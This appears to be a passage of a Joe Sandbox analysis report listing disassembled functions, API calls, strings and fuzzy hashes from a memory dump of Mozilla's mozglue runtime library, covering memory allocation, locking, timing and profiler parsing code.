expected a Time entry, xrefs: 6C9A5CB6
schema, xrefs: 6C9A606D

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 2e360f46ec059b5dd5a7d563aa2015b2633d5d2b0810dc7bf81ba7ac7f161efd
Instruction ID: 1c234d7b220db69f3c01c844945cfec444ea8526abe87858f7bb1cec0a8cb3ad
Opcode Fuzzy Hash: 2e360f46ec059b5dd5a7d563aa2015b2633d5d2b0810dc7bf81ba7ac7f161efd
Instruction Fuzzy Hash: 62927DB1A087418FD724CF68C49079ABBF1BFD9308F15891DE5999B751DB30E80ACB92

Function 6C9A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C9A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C9A378D
get , xrefs: 6C9A3205
set , xrefs: 6C9A36EC

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 364a68ad7792d335fdae24e2818bc9704d714a5b4eb44bd79789ce217e76ec25
Instruction ID: fcf7d2da83b91621df7f831611866f776a009c8b83a0516a2479a48f3dd55743
Opcode Fuzzy Hash: 364a68ad7792d335fdae24e2818bc9704d714a5b4eb44bd79789ce217e76ec25
Instruction Fuzzy Hash: E1326AB02083818FD724CF64C4906AFBBE6BFD9318F55881DE99987751DB30E94ACB52

Function 6C997E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C997E88
data, xrefs: 6C998280, 6C9983E1
name, xrefs: 6C997ECF, 6C998335
schema, xrefs: 6C9981E3, 6C998311

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 6572f3929ea073ac104ff04011f7ddd70ed89a0fa90bc38913d72bae2fc50da6
Instruction ID: 0096d35f1d6d22ef1c4ed2c2cd64896e77ab5ea3b4a8f3be6cbd99faca9c9ffa
Opcode Fuzzy Hash: 6572f3929ea073ac104ff04011f7ddd70ed89a0fa90bc38913d72bae2fc50da6
Instruction Fuzzy Hash: 20E170B2B043408BD710CF69C84065BF7E9BFA5318F158A2DE895E7790DB74ED098B92

Function 6C97D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D4F2
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D50B

Part of subcall function 6C95CFE0: EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C95CFF6
Part of subcall function 6C95CFE0: LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C95D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D52E
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97D6A6
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C97D712
LeaveCriticalSection.KERNEL32(6C9DE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C98D1C5), ref: 6C97D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97D7EA

Strings

<jemalloc>, xrefs: 6C97D827
: (malloc) Error initializing arena, xrefs: 6C97D82C

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 41305b2513f79e492f4842422e9104eed8a1279c18f99809987cbaac6d8d1bc1
Instruction ID: 96a4a64752f230c60a89d5c8778f51b7235316e20478d82bbd114c534b5f7bec
Opcode Fuzzy Hash: 41305b2513f79e492f4842422e9104eed8a1279c18f99809987cbaac6d8d1bc1
Instruction Fuzzy Hash: C791E7B2A09B018FD764CF28C49032AB7F5FB89714F25892ED55AD7B80D730E840CBA1

Function 6C975E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2
memset.VCRUNTIME140(6C9B7765,000000E5,9DC09015), ref: 6C9761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C977652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C97730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C977BCD, 6C977C1F, 6C977C34, 6C9780FD
MOZ_CRASH(), xrefs: 6C977BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9772F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9772E3

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: d8b9ac9602b90d6c3e0967a2fcabd005328b0689fa97e4d35edf1f6c90cb50d3
Instruction ID: 996fe5998ea9a9b1bee0d5018e925c198fdc4bebaa0f5af7f8f36df48f15f03a
Opcode Fuzzy Hash: d8b9ac9602b90d6c3e0967a2fcabd005328b0689fa97e4d35edf1f6c90cb50d3
Instruction Fuzzy Hash: 6533AB716067018FC329CF28C590715BBE2FF85328F29C6ADE9698B7A5D731E841CB61

Function 6C953480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C953492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C9534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C9534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C95350E
__Init_thread_footer.LIBCMT ref: 6C953522
__aulldiv.LIBCMT ref: 6C953552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C95357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C953592

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

Strings

kernel32.dll, xrefs: 6C9534EA
GetSystemTimePreciseAsFileTime, xrefs: 6C953508

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b385b3109936ec8d300f9b69de9ce1e5e88c6ccf69e48cb1de9a109dd2ddc2e1
Instruction ID: 46b725374db4dc12397a2a0e70679316c52db21473d490fd20276b4f68640038
Opcode Fuzzy Hash: b385b3109936ec8d300f9b69de9ce1e5e88c6ccf69e48cb1de9a109dd2ddc2e1
Instruction Fuzzy Hash: 7731D371B0590A9BDF00DFB9C849AAE77B9FB86309F60441AF505B3A50DB30FA45CB60

Function 6C9B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C9B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4F2E
moz_xmalloc.MOZGLUE ref: 6C9B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C9B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B52E6
Sleep.KERNEL32(00000010), ref: 6C9B5481
free.MOZGLUE(?), ref: 6C9B5498

Strings

(, xrefs: 6C9B5250

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 888efca545e98b68fbd3cfb3199a3da6d2c812220a00c7fb7fb60e897497c186
Instruction ID: e5d49cdbbb5d04a2e944e2b95479d29b7a345e8b047c2374482d56ad5b66e37a
Opcode Fuzzy Hash: 888efca545e98b68fbd3cfb3199a3da6d2c812220a00c7fb7fb60e897497c186
Instruction Fuzzy Hash: 09F1B171A18F408FC716CF39C85162BB7F9AFE6284F158B2EF846A7651DB31D4428B81

Function 6C967810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C967885
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C9678A5
EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C9678AD
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C9678CD
EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C96795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C967BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C967C82
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C967CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C967DAF

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 3cd571f76ea9f0da3a756c70637abea9dd2daa8b7411d8d659cfe678d2372082
Instruction ID: ecca295668190f666a14f864ffc2310ca795c118f821cf80c2765144a7e92b00
Opcode Fuzzy Hash: 3cd571f76ea9f0da3a756c70637abea9dd2daa8b7411d8d659cfe678d2372082
Instruction Fuzzy Hash: 8B027371A0561A8FEB54CF19C984799B7B5FF48318F2582AAD809A7B41D734FE90CF80

Function 6C9B5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C9B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C95EE51,?), ref: 6C9B6046
OutputDebugStringA.KERNEL32(?,6C95EE51,?), ref: 6C9B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C9D148E), ref: 6C9B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C95EE51,00000000,?), ref: 6C9B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B60C4

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 28e3ea173a4d4d0d8c97aa53ece90f2cb2f6a204ee213efe2298255cc15a9daa
Instruction ID: e83a61adb8faa0f129dc917e8056994ea339a756d63e53bc2920b569d8aa904c
Opcode Fuzzy Hash: 28e3ea173a4d4d0d8c97aa53ece90f2cb2f6a204ee213efe2298255cc15a9daa
Instruction Fuzzy Hash: 7A21B771A002089FDF106F29DC49A9E7BB8FF45614F108428E85AA7240CB74F599CFE2

Function 6C9B7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C9B7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C9B7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B707E

Part of subcall function 6C9681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9681DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9B709C
LocalFree.KERNEL32(?), ref: 6C9B70AA

Strings

(null), xrefs: 6C9B706A, 6C9B7083
### ERROR: %s: %s, xrefs: 6C9B7087

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: bc37eefb503f36eb5ac3b1af3d349ee9becb18cc083f63732e519f171ed399f2
Instruction ID: 8bbf44654074e7dbf7dcf084a49bffa414ed7ad72ff5fc0ecc293ef824396237
Opcode Fuzzy Hash: bc37eefb503f36eb5ac3b1af3d349ee9becb18cc083f63732e519f171ed399f2
Instruction Fuzzy Hash: 7801F9B1A00104AFDB006BA4DC4ADAF7BBCEF49215F110425FA05B3241D631B958CBE1

Function 6C979E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C979EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C979F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C979F34
LeaveCriticalSection.KERNEL32(?), ref: 6C97A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C97A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C97A8B1, 6C97A8D4, 6C97A8EF

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 1992fc8db9c5d6bf549d8cc6b3e2b9ff6c3d94844719abb33f8d05ff3a2fe5ce
Instruction ID: 94957523199309d73732ad4787889eb1afbbd32ec043a61a8dfd12eef386b337
Opcode Fuzzy Hash: 1992fc8db9c5d6bf549d8cc6b3e2b9ff6c3d94844719abb33f8d05ff3a2fe5ce
Instruction Fuzzy Hash: 9A728C72A067118FD324CF28C540615FBE1BF89728F2AC7ADE8699B791D735E841CB90

Function 6C9A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9A2C61

Part of subcall function 6C954DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
Part of subcall function 6C954DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A2E2D

Part of subcall function 6C9681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9681DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C9A2E3B
expected a Time entry, xrefs: 6C9A2E36
(root), xrefs: 6C9A354F

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 2f4b00d47ced11161a18464576b0ae59356582a8569cb3b7f40a88233b8a2bc7
Instruction ID: 6db71ce32189a19d9db23119b6662487bea5f08fc53debd3939cd01c56360cc6
Opcode Fuzzy Hash: 2f4b00d47ced11161a18464576b0ae59356582a8569cb3b7f40a88233b8a2bc7
Instruction Fuzzy Hash: 9791DE70608B408FC724CF69C48469EF7F5AF99358F10491DE99A9BB91DB30D94ACB42

Function 6C97C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C97D4BB
0123456789abcdef, xrefs: 6C97C317

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 9b54baf7104e09fcedbde55b30d1de880278b3df3c413a136cec9a5c0a028c50
Instruction ID: 7fa5edbcc070eb5be9ebbf6d174c7c1676320848f468cb43dc99319330264d18
Opcode Fuzzy Hash: 9b54baf7104e09fcedbde55b30d1de880278b3df3c413a136cec9a5c0a028c50
Instruction Fuzzy Hash: 9E52D03160A741CFD724CF18C4947AAB7E6FB8A318F24891DE8D687B81D735E845CB62

Function 6C9B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C9B9F3D
__aulldiv.LIBCMT ref: 6C9B9F77
__aullrem.LIBCMT ref: 6C9B9F8C
__aulldiv.LIBCMT ref: 6C9BA023

Strings

NaN, xrefs: 6C9B9EAB
-Infinity, xrefs: 6C9B9E60, 6C9B9E7B

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: b76de871a730613dcf8da029d4a421aae82e720044d5568e99e8c0efda96215f
Instruction ID: 69e0b2d3aed9ab1d57e28fa6ced42487e1b947cf972753edc10017776aeefe6a
Opcode Fuzzy Hash: b76de871a730613dcf8da029d4a421aae82e720044d5568e99e8c0efda96215f
Instruction Fuzzy Hash: 05C1C031E00319ABDB14CFA8C8807AFB7B6EBA5314F544529D405BBB80DB71ED49CB91

Function 6C95D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C95D852
0, xrefs: 6C95DC7F
, xrefs: 6C95DA88
-, xrefs: 6C95D7DD
@, xrefs: 6C95DAF6
9, xrefs: 6C95DE7F
1, xrefs: 6C95DBDD
8, xrefs: 6C95DC08

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

